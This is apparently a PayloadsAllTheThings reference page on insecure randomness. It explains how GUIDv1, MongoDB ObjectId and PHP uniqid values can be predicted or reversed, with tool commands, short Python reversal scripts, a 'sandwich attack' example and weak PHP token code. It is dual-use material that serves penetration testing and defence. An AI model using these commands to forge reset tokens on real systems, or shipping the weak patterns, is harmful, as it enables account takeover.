PayloadsAllTheThings/Insecure Randomness
2024-08-26 11:27:47 +02:00
..
README.md IIS MachineKeys + CI/CD + CSPT + ORM leak 2024-08-26 11:27:47 +02:00

Insecure Randomness

Summary

GUID / UUID

A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as 550e8400-e29b-41d4-a716-446655440000. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.

GUID Versions

Version identification: xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.

Version Notes
0 Only 00000000-0000-0000-0000-000000000000
1 based on time, or clock sequence
2 reserved in the RFC 4122, but ommitted in many implementations
3 based on a MD5 hash
4 randomly generated
5 based on a SHA1 hash

Tools

  • intruder-io/guidtool - A tool to inspect and attack version 1 GUIDs
    $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
    UUID version: 1
    UUID time: 2022-04-13 08:06:13.202186
    UUID timestamp: 138691299732021860
    UUID node: 91754721024
    UUID MAC address: 00:15:5d:01:ef:00
    UUID clock sequence: 2099
    
    $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
    

Mongo ObjectId

Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:

  • Timestamp (4 bytes): Represents the ObjectIds creation time, measured in seconds since the Unix epoch (January 1, 1970).
  • Machine Identifier (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
  • Process ID (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
  • Counter (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.

Token example

  • 5ae9b90a2c144b9def01ec37, 5ae9bac82c144b9def01ec39

Tools

  • andresriancho/mongo-objectid-predict - Predict Mongo ObjectIds
    ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
    5ae9bac82c144b9def01ec39
    5ae9bacf2c144b9def01ec3a
    5ae9bada2c144b9def01ec3b
    
  • Python script to recover the timestamp, process and counter
    def MongoDB_ObjectID(timestamp, process, counter):
        return "%08x%10x%06x" % (
            timestamp,
            process,
            counter,
        )
    
    def reverse_MongoDB_ObjectID(token):
        timestamp = int(token[0:8], 16)
        process = int(token[8:18], 16)
        counter = int(token[18:24], 16)
        return timestamp, process, counter
    
    
    def check(token):
        (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
        return token == MongoDB_ObjectID(timestamp, process, counter)
    
    tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
    for token in tokens:
        (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
        print(f"{token}: {timestamp} - {process} - {counter}")
    

Uniqid

Token derived using uniqid are based on timestamp and they can be reversed.

Token examples

  • uniqid: 6659cea087cd6, 6659cea087cea
  • sha256(uniqid): 4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4, ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4

Tools

import math
import datetime

def uniqid(timestamp: float) -> str:
    sec = math.floor(timestamp)
    usec = round(1000000 * (timestamp - sec))
    return "%8x%05x" % (sec, usec)

def reverse_uniqid(value: str) -> float:
    sec = int(value[:8], 16)
    usec = int(value[8:], 16)
    return float(f"{sec}.{usec}")

tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
    t = float(reverse_uniqid(token))
    d = datetime.datetime.fromtimestamp(t)
    print(f"{token} - {t} => {d}")

Other

Other bad ideas that are sometimes shipped into production.

  • $token = md5($emailId).rand(10,9999);
  • $token = md5(time()+123456789 % rand(4000, 55000000));

Generic identification and sandwitch attack:

  • AethliosIK/reset-tolkien - Unsecure time-based secret exploitation and Sandwich attack implementation Resources
    reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
    reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
    

References